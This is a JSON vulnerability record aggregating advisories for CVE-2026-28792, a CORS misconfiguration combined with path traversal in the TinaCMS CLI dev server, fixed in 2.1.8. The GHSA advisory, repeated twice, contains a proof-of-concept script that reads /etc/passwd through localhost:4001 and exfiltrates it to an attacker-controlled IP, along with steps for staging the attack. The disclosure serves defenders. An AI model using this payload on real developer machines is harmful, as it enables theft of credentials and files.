{"id":"CVE-2026-28792","aliases":["EUVD-2026-11611","GHSA-8pw3-9m7f-q734"],"status":"published","title":"Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS","description":"Tina is a headless content management system. Prior to 2.1.8 , the TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running. This vulnerability is fixed in 2.1.8.","severity":{"version":"3.1","score":9.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-07","score":0.00637,"percentile":0.508,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-942"],"published":"2026-03-12T16:48:16Z","modified":"2026-10-28T02:30:28Z","fixes":[{"ecosystem":"npm","package":"@tinacms/cli","fixed_in":["2.1.8"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@tinacms/cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.8"}]}]},{"source":"osv","ecosystem":"npm","package":"@tinacms/cli","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.1.8"}]}]}],"products":[{"vendor":"@tinacms","product":"cli"},{"vendor":"cli","product":"cli"},{"vendor":"ssw","product":"tinacms\\/cli"}],"references":[{"url":"https://github.com/tinacms/tinacms/security/advisories/GHSA-8pw3-9m7f-q734","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28792","tags":["advisory"]},{"url":"https://github.com/tinacms/tinacms/pull/6450","tags":["web"]},{"url":"https://github.com/tinacms/tinacms/commit/56d533e610a520ba66b3e58f3a0dc03487d5d5d7","tags":["web"]},{"url":"https://github.com/tinacms/tinacms/releases/tag/%40tinacms%2Fcli%402.1.8","tags":["web"]},{"url":"https://github.com/advisories/GHSA-8pw3-9m7f-q734"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/28xxx/CVE-2026-28792.json","tags":["advisory"]},{"url":"https://github.com/tinacms/tinacms","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-28792","title":"Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS","description":"Tina is a headless content management system. Prior to 2.1.8 , the TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running. This vulnerability is fixed in 2.1.8.","status":"published","published":"2026-03-12T16:48:16.461Z","modified":"2026-03-13T16:29:06.236Z","cvss":[{"version":"3.1","score":9.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-22","CWE-942"],"updated_at":"2026-11-02T14:20:01.969981Z"}],"euvd":[{"id":"EUVD-2026-11611","description":"Tina is a headless content management system. Prior to 2.1.8 , the TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running. This vulnerability is fixed in 2.1.8.","status":"published","published":"2026-03-12T16:48:16Z","modified":"2026-03-13T16:29:06Z","cvss":[{"version":"3.1","score":9.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T19:25:35.010093Z"}],"ghsa":[{"id":"GHSA-8pw3-9m7f-q734","title":"TinaCMS CLI Dev Server Vulnerable to Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS","description":"## Summary\nThe TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running.\n\n## Details\nThe TinaCMS dev server sets permissive CORS headers that allow **any origin** to make cross-origin requests:\n\n- packages/@tinacms/cli/src/server/server.ts:\n```\n  app.use(cors());\n```\n\n- packages/@tinacms/cli/src/next/vite/plugins.ts:\n```\n     server.middlewares.use(cors());\n```\nWhen combined with the path traversal vulnerability, this creates a complete attack chain.\n## Attack Scenario\n\n### Prerequisites\n1. Developer runs `tinacms dev` (default port 4001) \n2. Developer visits attacker's website while TinaCMS is running\n\n**No other conditions required** - the dev server doesn't need to be:\n- Exposed to the internet\n- Bound to 0.0.0.0\n- Accessible outside localhost\n\n### Attack Flow\n1. Developer starts TinaCMS: `tinacms dev`\n2. Developer browses the web (checking email, social media, etc.)\n3. Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.)\n4. Attacker's JavaScript exploits CORS + path traversal to read sensitive files\n5. Files are exfiltrated to attacker's server\n\n## PoC\n### Attacker's Malicious Website (evil.html):\n```\n\u003cscript\u003e\nfetch('http://localhost:4001/../../../etc/passwd')\n  .then(r =\u003e r.text())\n  .then(data =\u003e {\n    // Exfil via GET\n    const img = new Image();\n    img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data);\n  });\n\u003c/script\u003e\n```\n### Demonstration\n\n**Step 1:** Start TinaCMS dev server\n```bash\ntinacms dev\n# Server running on http://localhost:4001\n```\n\n**Step 2:** Host evil.html on attacker server\n```bash\npython3 -m http.server 8000\n```\n\n**Step 3:** Developer visits `http://attacker-server:8000/evil.html`\n\n**Result:** The browser makes cross-origin requests to localhost:4001.\nBecause cors() returns Access-Control-Allow-Origin: *, the browser\nallows the JavaScript to read the responses. Directory listings from\noutside the media directory are sent to the attacker's server.\n\u003cimg width=\"1900\" height=\"366\" alt=\"image\" src=\"https://github.com/user-attachments/assets/72fdd31d-dd93-4728-9a4b-4d7d66d33617\" /\u003e\n\n\n## Impact\n### Who is affected\nEvery developer running `tinacms dev` is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.\n\n### What an attacker achieves\nBy hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:\n\n1. **Enumerate the developer's filesystem** directory listings via `/media/list/` with path traversal reveal file and folder names\n   across the entire filesystem\n2. **Discover sensitive files** locate `.env`, `.git/config`,  SSH keys, cloud credentials, database configs\n3. **Write arbitrary files** via `/media/upload/` with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts\n4. **Delete arbitrary files** via `/media/` DELETE with path traversal","status":"published","published":"2026-03-12T20:32:09Z","modified":"2026-03-12T20:32:10Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-22","CWE-942"],"updated_at":"2026-11-02T14:39:35.644357Z"}],"nvd":[{"id":"CVE-2026-28792","description":"Tina is a headless content management system. Prior to 2.1.8 , the TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running. This vulnerability is fixed in 2.1.8.","status":"published","published":"2026-03-12T17:16:50.387Z","modified":"2026-06-17T10:29:03.21Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-22","CWE-942"],"updated_at":"2026-11-02T14:12:09.358914Z"}],"osv":[{"id":"CVE-2026-28792","title":"Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS","description":"Tina is a headless content management system. Prior to 2.1.8 , the TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running. This vulnerability is fixed in 2.1.8.","status":"published","published":"2026-03-12T16:48:16.461Z","modified":"2026-10-28T02:30:28.407493581Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-22","CWE-942"],"updated_at":"2026-11-02T15:45:00.530889Z"},{"id":"GHSA-8pw3-9m7f-q734","title":"TinaCMS CLI Dev Server Vulnerable to Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS","description":"## Summary\nThe TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running.\n\n## Details\nThe TinaCMS dev server sets permissive CORS headers that allow **any origin** to make cross-origin requests:\n\n- packages/@tinacms/cli/src/server/server.ts:\n```\n  app.use(cors());\n```\n\n- packages/@tinacms/cli/src/next/vite/plugins.ts:\n```\n     server.middlewares.use(cors());\n```\nWhen combined with the path traversal vulnerability, this creates a complete attack chain.\n## Attack Scenario\n\n### Prerequisites\n1. Developer runs `tinacms dev` (default port 4001) \n2. Developer visits attacker's website while TinaCMS is running\n\n**No other conditions required** - the dev server doesn't need to be:\n- Exposed to the internet\n- Bound to 0.0.0.0\n- Accessible outside localhost\n\n### Attack Flow\n1. Developer starts TinaCMS: `tinacms dev`\n2. Developer browses the web (checking email, social media, etc.)\n3. Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.)\n4. Attacker's JavaScript exploits CORS + path traversal to read sensitive files\n5. Files are exfiltrated to attacker's server\n\n## PoC\n### Attacker's Malicious Website (evil.html):\n```\n\u003cscript\u003e\nfetch('http://localhost:4001/../../../etc/passwd')\n  .then(r =\u003e r.text())\n  .then(data =\u003e {\n    // Exfil via GET\n    const img = new Image();\n    img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data);\n  });\n\u003c/script\u003e\n```\n### Demonstration\n\n**Step 1:** Start TinaCMS dev server\n```bash\ntinacms dev\n# Server running on http://localhost:4001\n```\n\n**Step 2:** Host evil.html on attacker server\n```bash\npython3 -m http.server 8000\n```\n\n**Step 3:** Developer visits `http://attacker-server:8000/evil.html`\n\n**Result:** The browser makes cross-origin requests to localhost:4001.\nBecause cors() returns Access-Control-Allow-Origin: *, the browser\nallows the JavaScript to read the responses. Directory listings from\noutside the media directory are sent to the attacker's server.\n\u003cimg width=\"1900\" height=\"366\" alt=\"image\" src=\"https://github.com/user-attachments/assets/72fdd31d-dd93-4728-9a4b-4d7d66d33617\" /\u003e\n\n\n## Impact\n### Who is affected\nEvery developer running `tinacms dev` is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.\n\n### What an attacker achieves\nBy hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:\n\n1. **Enumerate the developer's filesystem** directory listings via `/media/list/` with path traversal reveal file and folder names\n   across the entire filesystem\n2. **Discover sensitive files** locate `.env`, `.git/config`,  SSH keys, cloud credentials, database configs\n3. **Write arbitrary files** via `/media/upload/` with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts\n4. **Delete arbitrary files** via `/media/` DELETE with path traversal","status":"published","published":"2026-03-12T20:32:09Z","modified":"2026-03-14T07:11:21.300936Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-22","CWE-942"],"updated_at":"2026-11-02T15:46:42.78452Z"}]}}